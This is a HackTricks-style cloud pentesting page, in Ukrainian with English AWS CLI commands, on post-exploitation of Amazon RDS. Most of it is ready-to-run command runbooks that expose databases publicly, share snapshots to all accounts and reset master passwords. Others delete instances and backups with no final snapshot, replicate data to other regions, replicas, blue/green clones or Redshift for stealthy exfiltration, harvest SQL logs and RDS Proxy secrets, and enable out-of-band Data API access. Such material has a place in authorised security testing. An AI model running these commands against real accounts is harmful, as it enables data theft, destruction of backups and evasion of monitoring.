36 KiB
AWS - RDS Post Exploitation
{{#include ../../../../banners/hacktricks-training.md}}
RDS
Для отримання додаткової інформації див.:
{{#ref}} ../../aws-services/aws-relational-database-rds-enum.md {{#endref}}
rds:CreateDBSnapshot, rds:RestoreDBInstanceFromDBSnapshot, rds:ModifyDBInstance
Якщо attacker має достатні permissions, він може зробити DB публічно доступною, створивши snapshot DB, а потім створивши з цього snapshot публічно доступний DB.
aws rds describe-db-instances # Get DB identifier
aws rds create-db-snapshot \
--db-instance-identifier <db-id> \
--db-snapshot-identifier cloudgoat
# Get subnet groups & security groups
aws rds describe-db-subnet-groups
aws ec2 describe-security-groups
aws rds restore-db-instance-from-db-snapshot \
--db-instance-identifier "new-db-not-malicious" \
--db-snapshot-identifier <scapshotId> \
--db-subnet-group-name <db subnet group> \
--publicly-accessible \
--vpc-security-group-ids <ec2-security group>
aws rds modify-db-instance \
--db-instance-identifier "new-db-not-malicious" \
--master-user-password 'Llaody2f6.123' \
--apply-immediately
# Connect to the new DB after a few mins
rds:StopDBCluster & rds:StopDBInstance
Атакуючий, який має права rds:StopDBCluster або rds:StopDBInstance, може примусово зупинити RDS instance або весь кластер, що призведе до недоступності бази даних, перерваних з'єднань і припинення процесів, які залежать від бази даних.
Щоб зупинити один DB instance (приклад):
aws rds stop-db-instance \
--db-instance-identifier <DB_INSTANCE_IDENTIFIER>
Щоб зупинити весь кластер БД (приклад):
aws rds stop-db-cluster \
--db-cluster-identifier <DB_CLUSTER_IDENTIFIER>
rds:Delete*
Атакувальник, якому надано rds:Delete*, може видалити ресурси RDS — видалити DB instances, clusters, snapshots, automated backups, subnet groups, parameter/option groups та пов'язані артефакти, що спричинить негайний простій сервісу, втрату даних, знищення точок відновлення та втрату судових доказів.
# Delete a DB instance (creates a final snapshot unless you skip it)
aws rds delete-db-instance \
--db-instance-identifier <DB_INSTANCE_ID> \
--final-db-snapshot-identifier <FINAL_SNAPSHOT_ID> # omit or replace with --skip-final-snapshot to avoid snapshot
# Delete a DB instance and skip final snapshot (more destructive)
aws rds delete-db-instance \
--db-instance-identifier <DB_INSTANCE_ID> \
--skip-final-snapshot
# Delete a manual DB snapshot
aws rds delete-db-snapshot \
--db-snapshot-identifier <DB_SNAPSHOT_ID>
# Delete an Aurora DB cluster (creates a final snapshot unless you skip)
aws rds delete-db-cluster \
--db-cluster-identifier <DB_CLUSTER_ID> \
--final-db-snapshot-identifier <FINAL_CLUSTER_SNAPSHOT_ID> # or use --skip-final-snapshot
rds:ModifyDBSnapshotAttribute, rds:CreateDBSnapshot
Зловмисник з такими правами може створити snapshot DB і зробити його публічно доступним. Потім він може просто створити у своєму акаунті DB з цього snapshot.
Якщо зловмисник не має rds:CreateDBSnapshot, він все одно може зробити інші створені snapshots публічними.
# create snapshot
aws rds create-db-snapshot --db-instance-identifier <db-instance-identifier> --db-snapshot-identifier <snapshot-name>
# Make it public/share with attackers account
aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --attribute-name restore --values-to-add all
## Specify account IDs instead of "all" to give access only to a specific account: --values-to-add {"111122223333","444455556666"}
rds:DownloadDBLogFilePortion
Зловмисник, який має дозвіл rds:DownloadDBLogFilePortion, може завантажувати частини файлів журналу екземпляра RDS. Якщо чутливі дані або облікові дані доступу випадково потрапили до журналу, зловмисник потенційно може використати цю інформацію для підвищення своїх привілеїв або виконання несанкціонованих дій.
aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text
Потенційний вплив: Доступ до конфіденційної інформації або несанкціоновані дії з використанням leaked credentials.
rds:DeleteDBInstance
Зловмисник з такими дозволами може DoS existing RDS instances.
# Delete
aws rds delete-db-instance --db-instance-identifier target-instance --skip-final-snapshot
Потенційний вплив: Видалення існуючих екземплярів RDS і потенційна втрата даних.
rds:StartExportTask
Note
TODO: Протестувати
Зловмисник із цим дозволом може експортувати знімок екземпляра RDS у S3 bucket. Якщо зловмисник контролює цільовий S3 bucket, він може потенційно отримати доступ до конфіденційних даних у експортованому знімку.
aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id
Потенційний вплив: Доступ до конфіденційних даних у експортованому знімку.
Міжрегіональна реплікація автоматичних бекапів для прихованого відновлення (rds:StartDBInstanceAutomatedBackupsReplication)
Зловживати міжрегіональною реплікацією автоматичних бекапів, щоб тихо дублювати автоматичні бекапи інстансу RDS в інший AWS Region та відновити їх там. Атакувальник може потім зробити відновлену DB публічно доступною та скинути master password, щоб отримати доступ до даних поза межею моніторингу в регіоні, який захисники можуть не контролювати.
Потрібні дозволи (мінімум):
rds:StartDBInstanceAutomatedBackupsReplicationу цільовому регіоніrds:DescribeDBInstanceAutomatedBackupsу цільовому регіоніrds:RestoreDBInstanceToPointInTimeу цільовому регіоніrds:ModifyDBInstanceу цільовому регіоніrds:StopDBInstanceAutomatedBackupsReplication(необов'язкове очищення)ec2:CreateSecurityGroup,ec2:AuthorizeSecurityGroupIngress(щоб відкрити доступ до відновленої DB)
Вплив: Persistence та data exfiltration шляхом відновлення копії production data в інший регіон і публічного надання доступу з обліковими даними під контролем атакувальника.
End-to-end CLI (замініть плейсхолдери)
```bash # 1) Recon (SOURCE region A) aws rds describe-db-instances \ --region \ --query 'DBInstances[*].[DBInstanceIdentifier,DBInstanceArn,Engine,DBInstanceStatus,PreferredBackupWindow]' \ --output table2) Start cross-Region automated backups replication (run in DEST region B)
aws rds start-db-instance-automated-backups-replication
--region <DEST_REGION>
--source-db-instance-arn <SOURCE_DB_INSTANCE_ARN>
--source-region <SOURCE_REGION>
--backup-retention-period 7
3) Wait for replication to be ready in DEST
aws rds describe-db-instance-automated-backups
--region <DEST_REGION>
--query 'DBInstanceAutomatedBackups[*].[DBInstanceAutomatedBackupsArn,DBInstanceIdentifier,Status]'
--output table
Proceed when Status is "replicating" or "active" and note the DBInstanceAutomatedBackupsArn
4) Restore to latest restorable time in DEST
aws rds restore-db-instance-to-point-in-time
--region <DEST_REGION>
--source-db-instance-automated-backups-arn <AUTO_BACKUP_ARN>
--target-db-instance-identifier <TARGET_DB_ID>
--use-latest-restorable-time
--db-instance-class db.t3.micro
aws rds wait db-instance-available --region <DEST_REGION> --db-instance-identifier <TARGET_DB_ID>
5) Make public and reset credentials in DEST
5a) Create/choose an open SG permitting TCP/3306 (adjust engine/port as needed)
OPEN_SG_ID=$(aws ec2 create-security-group --region <DEST_REGION>
--group-name open-rds- --description open --vpc-id <DEST_VPC_ID>
--query GroupId --output text)
aws ec2 authorize-security-group-ingress --region <DEST_REGION>
--group-id "$OPEN_SG_ID"
--ip-permissions IpProtocol=tcp,FromPort=3306,ToPort=3306,IpRanges='[{CidrIp=0.0.0.0/0}]'
5b) Publicly expose restored DB and attach the SG
aws rds modify-db-instance --region <DEST_REGION>
--db-instance-identifier <TARGET_DB_ID>
--publicly-accessible
--vpc-security-group-ids "$OPEN_SG_ID"
--apply-immediately
aws rds wait db-instance-available --region <DEST_REGION> --db-instance-identifier <TARGET_DB_ID>
5c) Reset the master password
aws rds modify-db-instance --region <DEST_REGION>
--db-instance-identifier <TARGET_DB_ID>
--master-user-password '<NEW_STRONG_PASSWORD>'
--apply-immediately
aws rds wait db-instance-available --region <DEST_REGION> --db-instance-identifier <TARGET_DB_ID>
6) Connect to <TARGET_DB_ID> endpoint and validate data (example for MySQL)
ENDPOINT=$(aws rds describe-db-instances --region <DEST_REGION>
--db-instance-identifier <TARGET_DB_ID>
--query 'DBInstances[0].Endpoint.Address' --output text)
mysql -h "$ENDPOINT" -u <MASTER_USERNAME> -p'<NEW_STRONG_PASSWORD>' -e 'SHOW DATABASES;'
7) Optional: stop replication
aws rds stop-db-instance-automated-backups-replication
--region <DEST_REGION>
--source-db-instance-arn <SOURCE_DB_INSTANCE_ARN>
</details>
### Увімкнути повне SQL-логування через DB parameter groups та ексфільтрувати через RDS log APIs
Зловживати `rds:ModifyDBParameterGroup` разом із RDS log download APIs, щоб захопити всі SQL-оператори, які виконуються додатками (не потрібні облікові дані DB engine). Увімкніть логування SQL на рівні engine та завантажуйте файли логів через `rds:DescribeDBLogFiles` і `rds:DownloadDBLogFilePortion` (або REST `downloadCompleteLogFile`). Корисно для збору запитів, які можуть містити secrets/PII/JWTs.
Необхідні права (мінімум):
- `rds:DescribeDBInstances`, `rds:DescribeDBLogFiles`, `rds:DownloadDBLogFilePortion`
- `rds:CreateDBParameterGroup`, `rds:ModifyDBParameterGroup`
- `rds:ModifyDBInstance` (тільки для приєднання власної parameter group, якщо інстанс використовує group за замовчуванням)
- `rds:RebootDBInstance` (для параметрів, що вимагають reboot, напр., PostgreSQL)
Кроки
1) Recon target і current parameter group
```bash
aws rds describe-db-instances \
--query 'DBInstances[*].[DBInstanceIdentifier,Engine,DBParameterGroups[0].DBParameterGroupName]' \
--output table
- Переконайтеся, що приєднано користувацьку DB parameter group (параметри за замовчуванням редагувати не можна)
- Якщо instance вже використовує користувацьку групу, повторно використайте її назву в наступному кроці.
- Інакше створіть і приєднайте групу, що відповідає engine family:
# Example for PostgreSQL 16
aws rds create-db-parameter-group \
--db-parameter-group-name ht-logs-pg \
--db-parameter-group-family postgres16 \
--description "HT logging"
aws rds modify-db-instance \
--db-instance-identifier <DB> \
--db-parameter-group-name ht-logs-pg \
--apply-immediately
# Wait until status becomes "available"
- Увімкнути докладне логування SQL
- MySQL двигуни (негайно / без перезавантаження):
aws rds modify-db-parameter-group \
--db-parameter-group-name <PGNAME> \
--parameters \
"ParameterName=general_log,ParameterValue=1,ApplyMethod=immediate" \
"ParameterName=log_output,ParameterValue=FILE,ApplyMethod=immediate"
# Optional extras:
# "ParameterName=slow_query_log,ParameterValue=1,ApplyMethod=immediate" \
# "ParameterName=long_query_time,ParameterValue=0,ApplyMethod=immediate"
- PostgreSQL engines (перезавантаження необхідне):
aws rds modify-db-parameter-group \
--db-parameter-group-name <PGNAME> \
--parameters \
"ParameterName=log_statement,ParameterValue=all,ApplyMethod=pending-reboot"
# Optional to log duration for every statement:
# "ParameterName=log_min_duration_statement,ParameterValue=0,ApplyMethod=pending-reboot"
# Reboot if any parameter is pending-reboot
aws rds reboot-db-instance --db-instance-identifier <DB>
- Дозвольте навантаженню виконуватись (або згенеруйте запити). SQL-вирази будуть записані у файли логів engine
- MySQL:
general/mysql-general.log - PostgreSQL:
postgresql.log
- Виявіть і завантажте логи (облікові дані БД не потрібні)
aws rds describe-db-log-files --db-instance-identifier <DB>
# Pull full file via portions (iterate until AdditionalDataPending=false). For small logs a single call is enough:
aws rds download-db-log-file-portion \
--db-instance-identifier <DB> \
--log-file-name general/mysql-general.log \
--starting-token 0 \
--output text > dump.log
- Проаналізувати офлайн на предмет конфіденційних даних
grep -Ei "password=|aws_access_key_id|secret|authorization:|bearer" dump.log | sed 's/\(aws_access_key_id=\)[A-Z0-9]*/\1AKIA.../; s/\(secret=\).*/\1REDACTED/; s/\(Bearer \).*/\1REDACTED/' | head
Приклад доказів (зачищено):
2025-10-06T..Z 13 Query INSERT INTO t(note) VALUES ('user=alice password=Sup3rS3cret!')
2025-10-06T..Z 13 Query INSERT INTO t(note) VALUES ('authorization: Bearer REDACTED')
2025-10-06T..Z 13 Query INSERT INTO t(note) VALUES ('aws_access_key_id=AKIA... secret=REDACTED')
Cleanup
- Повернути параметри до значень за замовчуванням та перезавантажити, якщо потрібно:
# MySQL
aws rds modify-db-parameter-group \
--db-parameter-group-name <PGNAME> \
--parameters \
"ParameterName=general_log,ParameterValue=0,ApplyMethod=immediate"
# PostgreSQL
aws rds modify-db-parameter-group \
--db-parameter-group-name <PGNAME> \
--parameters \
"ParameterName=log_statement,ParameterValue=none,ApplyMethod=pending-reboot"
# Reboot if pending-reboot
Вплив: Post-exploitation доступ до даних шляхом перехоплення всіх SQL-запитів додатку через AWS APIs (no DB creds), potentially leaking secrets, JWTs, and PII.
rds:CreateDBInstanceReadReplica, rds:ModifyDBInstance
Зловживання RDS read replicas для отримання out-of-band доступу для читання без доступу до облікових даних primary instance. Атакуючий може створити read replica з production instance, скинути master password репліки (this does not change the primary) і за бажанням відкрити репліку публічно для exfiltrate даних.
Потрібні дозволи (мінімум):
rds:DescribeDBInstancesrds:CreateDBInstanceReadReplicards:ModifyDBInstanceec2:CreateSecurityGroup,ec2:AuthorizeSecurityGroupIngress(якщо робити публічно)
Вплив: Read-only доступ до production даних через replica з attacker-controlled credentials; нижча ймовірність виявлення, оскільки primary залишається недоторканим і replication продовжується.
# 1) Recon: find non-Aurora sources with backups enabled
aws rds describe-db-instances \
--query 'DBInstances[*].[DBInstanceIdentifier,Engine,DBInstanceArn,DBSubnetGroup.DBSubnetGroupName,VpcSecurityGroups[0].VpcSecurityGroupId,PubliclyAccessible]' \
--output table
# 2) Create a permissive SG (replace <VPC_ID> and <YOUR_IP/32>)
aws ec2 create-security-group --group-name rds-repl-exfil --description 'RDS replica exfil' --vpc-id <VPC_ID> --query GroupId --output text
aws ec2 authorize-security-group-ingress --group-id <SGID> --ip-permissions '[{"IpProtocol":"tcp","FromPort":3306,"ToPort":3306,"IpRanges":[{"CidrIp":"<YOUR_IP/32>","Description":"tester"}]}]'
# 3) Create the read replica (optionally public)
aws rds create-db-instance-read-replica \
--db-instance-identifier <REPL_ID> \
--source-db-instance-identifier <SOURCE_DB> \
--db-instance-class db.t3.medium \
--publicly-accessible \
--vpc-security-group-ids <SGID>
aws rds wait db-instance-available --db-instance-identifier <REPL_ID>
# 4) Reset ONLY the replica master password (primary unchanged)
aws rds modify-db-instance --db-instance-identifier <REPL_ID> --master-user-password 'NewStr0ng!Passw0rd' --apply-immediately
aws rds wait db-instance-available --db-instance-identifier <REPL_ID>
# 5) Connect and dump (use the SOURCE master username + NEW password)
REPL_ENDPOINT=$(aws rds describe-db-instances --db-instance-identifier <REPL_ID> --query 'DBInstances[0].Endpoint.Address' --output text)
# e.g., with mysql client: mysql -h "$REPL_ENDPOINT" -u <MASTER_USERNAME> -p'NewStr0ng!Passw0rd' -e 'SHOW DATABASES; SELECT @@read_only, CURRENT_USER();'
# Optional: promote for persistence
# aws rds promote-read-replica --db-instance-identifier <REPL_ID>
Приклад доказів (MySQL):
- Статус репліки БД:
available, read replication:replicating - Успішне підключення з новим паролем та
@@read_only=1, що підтверджує доступ лише для читання до репліки.
rds:CreateBlueGreenDeployment, rds:ModifyDBInstance
Зловживайте RDS Blue/Green, щоб клонувати production DB у безперервно репліковане, тільки для читання green середовище. Потім скиньте green master credentials, щоб отримати доступ до даних, не зачіпаючи blue (prod) instance. Це менш помітно, ніж snapshot sharing, і часто обходить моніторинг, орієнтований лише на джерело.
# 1) Recon – find eligible source (non‑Aurora MySQL/PostgreSQL in the same account)
aws rds describe-db-instances \
--query 'DBInstances[*].[DBInstanceIdentifier,DBInstanceArn,Engine,EngineVersion,DBSubnetGroup.DBSubnetGroupName,PubliclyAccessible]'
# Ensure: automated backups enabled on source (BackupRetentionPeriod > 0), no RDS Proxy, supported engine/version
# 2) Create Blue/Green deployment (replicates blue->green continuously)
aws rds create-blue-green-deployment \
--blue-green-deployment-name ht-bgd-attack \
--source <BLUE_DB_ARN> \
# Optional to upgrade: --target-engine-version <same-or-higher-compatible>
# Wait until deployment Status becomes AVAILABLE, then note the green DB id
aws rds describe-blue-green-deployments \
--blue-green-deployment-identifier <BGD_ID> \
--query 'BlueGreenDeployments[0].SwitchoverDetails[0].TargetMember'
# Typical green id: <blue>-green-XXXX
# 3) Reset the green master password (does not affect blue)
aws rds modify-db-instance \
--db-instance-identifier <GREEN_DB_ID> \
--master-user-password 'Gr33n!Exfil#1' \
--apply-immediately
# Optional: expose the green for direct access (attach an SG that allows the DB port)
aws rds modify-db-instance \
--db-instance-identifier <GREEN_DB_ID> \
--publicly-accessible \
--vpc-security-group-ids <SG_ALLOWING_DB_PORT> \
--apply-immediately
# 4) Connect to the green endpoint and query/exfiltrate (green is read‑only)
aws rds describe-db-instances \
--db-instance-identifier <GREEN_DB_ID> \
--query 'DBInstances[0].Endpoint.Address' --output text
# Then connect with the master username and the new password and run SELECT/dumps
# e.g. MySQL: mysql -h <endpoint> -u <master_user> -p'Gr33n!Exfil#1'
# 5) Cleanup – remove blue/green and the green resources
aws rds delete-blue-green-deployment \
--blue-green-deployment-identifier <BGD_ID> \
--delete-target true
Вплив: лише для читання, але повний доступ до даних у майже реальному часі клоні продукційного середовища без модифікації продукційного інстансу. Корисно для прихованого витягнення даних і офлайн-аналізу.
Out-of-band SQL via RDS Data API шляхом увімкнення HTTP endpoint + скидання master password
Зловживати Aurora, щоб увімкнути RDS Data API HTTP endpoint на цільовому кластері, скинути master password на значення, яким ви керуєте, і виконувати SQL через HTTPS (не потрібен мережевий шлях у VPC). Працює на двигунах Aurora, які підтримують Data API/EnableHttpEndpoint (наприклад, Aurora MySQL 8.0 provisioned; деякі версії Aurora PostgreSQL/MySQL).
Permissions (minimum):
- rds:DescribeDBClusters, rds:ModifyDBCluster (or rds:EnableHttpEndpoint)
- secretsmanager:CreateSecret
- rds-data:ExecuteStatement (and rds-data:BatchExecuteStatement if used)
Вплив: Bypass network segmentation та exfiltrate data через AWS APIs без прямого VPC-підключення до DB.
Повний CLI (Aurora MySQL example)
```bash # 1) Identify target cluster ARN REGION=us-east-1 CLUSTER_ID= CLUSTER_ARN=$(aws rds describe-db-clusters --region $REGION \ --db-cluster-identifier $CLUSTER_ID \ --query 'DBClusters[0].DBClusterArn' --output text)2) Enable Data API HTTP endpoint on the cluster
Either of the following (depending on API/engine support):
aws rds enable-http-endpoint --region $REGION --resource-arn "$CLUSTER_ARN"
or
aws rds modify-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID
--enable-http-endpoint --apply-immediately
Wait until HttpEndpointEnabled is True
aws rds wait db-cluster-available --region $REGION --db-cluster-identifier $CLUSTER_ID
aws rds describe-db-clusters --region $REGION --db-cluster-identifier $CLUSTER_ID
--query 'DBClusters[0].HttpEndpointEnabled' --output text
3) Reset master password to attacker-controlled value
aws rds modify-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID
--master-user-password 'Sup3rStr0ng!1' --apply-immediately
Wait until pending password change is applied
while :; do
aws rds wait db-cluster-available --region $REGION --db-cluster-identifier $CLUSTER_ID
P=$(aws rds describe-db-clusters --region $REGION --db-cluster-identifier $CLUSTER_ID
--query 'DBClusters[0].PendingModifiedValues.MasterUserPassword' --output text)
&& break
sleep 10
done
4) Create a Secrets Manager secret for Data API auth
SECRET_ARN=$(aws secretsmanager create-secret --region $REGION --name rdsdata/demo-$CLUSTER_ID
--secret-string '{"username":"admin","password":"Sup3rStr0ng!1"}'
--query ARN --output text)
5) Prove out-of-band SQL via HTTPS using rds-data
(Example with Aurora MySQL; for PostgreSQL, adjust SQL and username accordingly)
aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN"
--secret-arn "$SECRET_ARN" --database mysql --sql "create database if not exists demo;"
aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN"
--secret-arn "$SECRET_ARN" --database demo --sql "create table if not exists pii(note text);"
aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN"
--secret-arn "$SECRET_ARN" --database demo --sql "insert into pii(note) values ('token=SECRET_JWT');"
aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN"
--secret-arn "$SECRET_ARN" --database demo --sql "select current_user(), now(), (select count(*) from pii) as row_count;"
--format-records-as JSON
</details>
Примітки:
- Якщо multi-statement SQL відхиляється rds-data, виконуйте окремі виклики execute-statement.
- Для engine, де modify-db-cluster --enable-http-endpoint не має ефекту, використовуйте rds enable-http-endpoint --resource-arn.
- Переконайтеся, що engine/version дійсно підтримує Data API; інакше HttpEndpointEnabled залишиться False.
### Harvest DB credentials via RDS Proxy auth secrets (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`)
Зловживайте конфігурацією RDS Proxy, щоб виявити секрет Secrets Manager, який використовується для бекенд-автентифікації, а потім прочитайте секрет для отримання облікових даних бази даних. У багатьох середовищах надають широкі `secretsmanager:GetSecretValue`, що робить це низькопороговим шляхом до отримання DB credentials. Якщо секрет використовує CMK, неправильно сфокусовані дозволи KMS також можуть дозволяти `kms:Decrypt`.
Необхідні дозволи (мінімум):
- `rds:DescribeDBProxies`
- `secretsmanager:GetSecretValue` на вказаному SecretArn
- Опціонально, коли секрет використовує CMK: `kms:Decrypt` на цьому ключі
Вплив: Негайне розкриття DB username/password, налаштованих на proxy; забезпечує прямий доступ до DB або подальший латеральний рух.
Кроки
```bash
# 1) Enumerate proxies and extract the SecretArn used for auth
aws rds describe-db-proxies \
--query DBProxies[*].[DBProxyName,Auth[0].AuthScheme,Auth[0].SecretArn] \
--output table
# 2) Read the secret value (common over-permission)
aws secretsmanager get-secret-value \
--secret-id <SecretArnFromProxy> \
--query SecretString --output text
# Example output: {"username":"admin","password":"S3cr3t!"}
Лабораторія (мінімальний набір для відтворення)
REGION=us-east-1
ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
SECRET_ARN=$(aws secretsmanager create-secret \
--region $REGION --name rds/proxy/aurora-demo \
--secret-string username:admin \
--query ARN --output text)
aws iam create-role --role-name rds-proxy-secret-role \
--assume-role-policy-document Version:2012-10-17
aws iam attach-role-policy --role-name rds-proxy-secret-role \
--policy-arn arn:aws:iam::aws:policy/SecretsManagerReadWrite
aws rds create-db-proxy --db-proxy-name p0 --engine-family MYSQL \
--auth [AuthScheme:SECRETS] \
--role-arn arn:aws:iam::$ACCOUNT_ID:role/rds-proxy-secret-role \
--vpc-subnet-ids $(aws ec2 describe-subnets --filters Name=default-for-az,Values=true --query Subnets[].SubnetId --output text)
aws rds wait db-proxy-available --db-proxy-name p0
# Now run the enumeration + secret read from the Steps above
Очищення (лабораторія)
aws rds delete-db-proxy --db-proxy-name p0
aws iam detach-role-policy --role-name rds-proxy-secret-role --policy-arn arn:aws:iam::aws:policy/SecretsManagerReadWrite
aws iam delete-role --role-name rds-proxy-secret-role
aws secretsmanager delete-secret --secret-id rds/proxy/aurora-demo --force-delete-without-recovery
Stealthy continuous exfiltration via Aurora zero‑ETL to Amazon Redshift (rds:CreateIntegration)
Зловживати Aurora PostgreSQL zero‑ETL integration для безперервної реплікації продуктивних даних у Redshift Serverless namespace, яким ви керуєте. За наявності ліберальної Redshift resource policy, яка авторизує CreateInboundIntegration/AuthorizeInboundIntegration для конкретного Aurora cluster ARN, атакувач може встановити near‑real‑time data copy без DB creds, snapshots або network exposure.
Необхідні дозволи (мінімум):
rds:CreateIntegration,rds:DescribeIntegrations,rds:DeleteIntegrationredshift:PutResourcePolicy,redshift:DescribeInboundIntegrations,redshift:DescribeIntegrationsredshift-data:ExecuteStatement/GetStatementResult/ListDatabases(to query)rds-data:ExecuteStatement(optional; to seed data if needed)
Перевірено в: us-east-1, Aurora PostgreSQL 16.4 (Serverless v2), Redshift Serverless.
1) Створити Redshift Serverless namespace + workgroup
```bash REGION=us-east-1 RS_NS_ARN=$(aws redshift-serverless create-namespace --region $REGION --namespace-name ztl-ns \ --admin-username adminuser --admin-user-password 'AdminPwd-1!' \ --query namespace.namespaceArn --output text) RS_WG_ARN=$(aws redshift-serverless create-workgroup --region $REGION --workgroup-name ztl-wg \ --namespace-name ztl-ns --base-capacity 8 --publicly-accessible \ --query workgroup.workgroupArn --output text) # Wait until AVAILABLE, then enable case sensitivity (required for PostgreSQL) aws redshift-serverless update-workgroup --region $REGION --workgroup-name ztl-wg \ --config-parameters parameterKey=enable_case_sensitive_identifier,parameterValue=true ```2) Налаштуйте політику ресурсу Redshift, щоб дозволити джерело Aurora
```bash ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text) SRC_ARN= cat > rs-rp.json <3) Створити Aurora PostgreSQL кластер (увімкнути Data API та логічну реплікацію)
```bash CLUSTER_ID=aurora-ztl aws rds create-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \ --engine aurora-postgresql --engine-version 16.4 \ --master-username postgres --master-user-password 'InitPwd-1!' \ --enable-http-endpoint --no-deletion-protection --backup-retention-period 1 aws rds wait db-cluster-available --region $REGION --db-cluster-identifier $CLUSTER_ID # Serverless v2 instance aws rds modify-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \ --serverless-v2-scaling-configuration MinCapacity=0.5,MaxCapacity=1 --apply-immediately aws rds create-db-instance --region $REGION --db-instance-identifier ${CLUSTER_ID}-instance-1 \ --db-instance-class db.serverless --engine aurora-postgresql --db-cluster-identifier $CLUSTER_ID aws rds wait db-instance-available --region $REGION --db-instance-identifier ${CLUSTER_ID}-instance-1 # Cluster parameter group for zero‑ETL aws rds create-db-cluster-parameter-group --region $REGION --db-cluster-parameter-group-name apg16-ztl-zerodg \ --db-parameter-group-family aurora-postgresql16 --description "APG16 zero-ETL params" aws rds modify-db-cluster-parameter-group --region $REGION --db-cluster-parameter-group-name apg16-ztl-zerodg --parameters \ ParameterName=rds.logical_replication,ParameterValue=1,ApplyMethod=pending-reboot \ ParameterName=aurora.enhanced_logical_replication,ParameterValue=1,ApplyMethod=pending-reboot \ ParameterName=aurora.logical_replication_backup,ParameterValue=0,ApplyMethod=pending-reboot \ ParameterName=aurora.logical_replication_globaldb,ParameterValue=0,ApplyMethod=pending-reboot aws rds modify-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \ --db-cluster-parameter-group-name apg16-ztl-zerodg --apply-immediately aws rds reboot-db-instance --region $REGION --db-instance-identifier ${CLUSTER_ID}-instance-1 aws rds wait db-instance-available --region $REGION --db-instance-identifier ${CLUSTER_ID}-instance-1 SRC_ARN=$(aws rds describe-db-clusters --region $REGION --db-cluster-identifier $CLUSTER_ID --query 'DBClusters[0].DBClusterArn' --output text) ```4) Створіть zero‑ETL інтеграцію з RDS
```bash # Include all tables in the default 'postgres' database aws rds create-integration --region $REGION --source-arn "$SRC_ARN" \ --target-arn "$RS_NS_ARN" --integration-name ztl-demo \ --data-filter 'include: postgres.*.*' # Redshift inbound integration should become ACTIVE aws redshift describe-inbound-integrations --region $REGION --target-arn "$RS_NS_ARN" ```5) Матеріалізувати та запитувати репліковані дані у Redshift
```bash # Create a Redshift database from the inbound integration (use integration_id from SVV_INTEGRATION) aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --database dev \ --sql "select integration_id from svv_integration" # take the GUID value aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --database dev \ --sql "create database ztl_db from integration '' database postgres" # List tables replicated aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --database ztl_db \ --sql "select table_schema,table_name from information_schema.tables where table_schema not in ('pg_catalog','information_schema') order by 1,2 limit 20;" ```Докази, виявлені під час тестування:
- redshift describe-inbound-integrations: Status ACTIVE for Integration arn:...377a462b-...
- SVV_INTEGRATION showed integration_id 377a462b-c42c-4f08-937b-77fe75d98211 and state PendingDbConnectState prior to DB creation.
- After CREATE DATABASE FROM INTEGRATION, listing tables revealed schema ztl and table customers; selecting from ztl.customers returned 2 rows (Alice, Bob).
Вплив: Безперервна майже в реальному часі exfiltration вибраних таблиць Aurora PostgreSQL у Redshift Serverless, контрольована атакуючим, без використання облікових даних бази даних, резервних копій або мережевого доступу до початкового кластера.
{{#include ../../../../banners/hacktricks-training.md}}